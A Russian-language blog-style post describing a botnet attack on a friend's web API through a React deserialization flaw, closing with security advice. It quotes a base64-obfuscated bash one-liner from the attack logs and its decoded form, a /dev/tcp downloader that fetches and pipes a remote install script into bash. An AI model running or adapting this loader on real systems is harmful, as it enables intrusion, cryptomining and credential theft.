Сеть botnet нащупывала слабые места в публичном WEB API и отправляла самые различные эксплоиты, кто то просто пытался установить майнер, кто то пытался отправлять на сервера злоумышленников API ключи и токены доступа (Все, до чего могли дотянуться автоматические скрипты)
Все было по уму, контейнер запущенный от юзера без прав, без группы доступов, но эксплоиты все равно находят способы как выскочить из докера.
По мнению друга, разработчики допустили очень большую критическую ошибку, о которой он говорил в руководство, но как я понял, его заигнорировали. Суть в том, что в React (Да в целом почти любом ЯП есть такая функция) есть возможность исполнять shell и какой то эндпоинт по ветвлению условий смог достучаться до исполнения скриптов.
(Чуть ниже написал CVE, но суть в дессериализации, именно она небезопасно это делала и могла воспроизвести код, аналогично дессериализации из .Net C# с BinaryFormater)
Подробностей я не знаю, но следить за такими инцидентами очень весело и интересно. Было бы классно самому поковырять эти вещи и понять что там было на самом деле, попробовать TCPDump посмотреть.
Из логов друг скидывал как это делали в одном тупом эксплоите, когда в наглую кидали установочные скрипты что то вроде:
echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKX19jdXJsIGh0dHA6Ly8xMjMuMTIzLjEyMy4xMjMvaW5zdGFsbC5zaHxiYXNo| base64 -d| bash
Да, это сделано что бы автоматизированные системы не могли сразу понять, что это какой то простой скрипт установки (Проверки на сторонние скрипты), он декодирует base64 обратно в UTF-8 (Или ASCII) И воспроизводит.
Во что оно превращается:
#!/bin/bash
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
__curl http://123.123.123.123/install.sh|bash
Эта мешанина букв превращается в настоящий скрипт, который подтягивает еще один скрипт из онлайна и воспроизводит попытку установки скрипта.
Будьте внимательны при построении своих серверных ПО и старайтесь не использовать вызов консоли ВООБЩЕ где бы то нибыло даже по API ключу.
Не пренебрегайте безопасностью, так как майнеры и стиллеры НЕ УМЕЮТ СПАТЬ и плодятся постоянно.
Кстати атака была со стороны Великобритании, мотаем на ус =D
Update: Уязвимость которая у них сработала: CVE-2025-66478 / React2Shell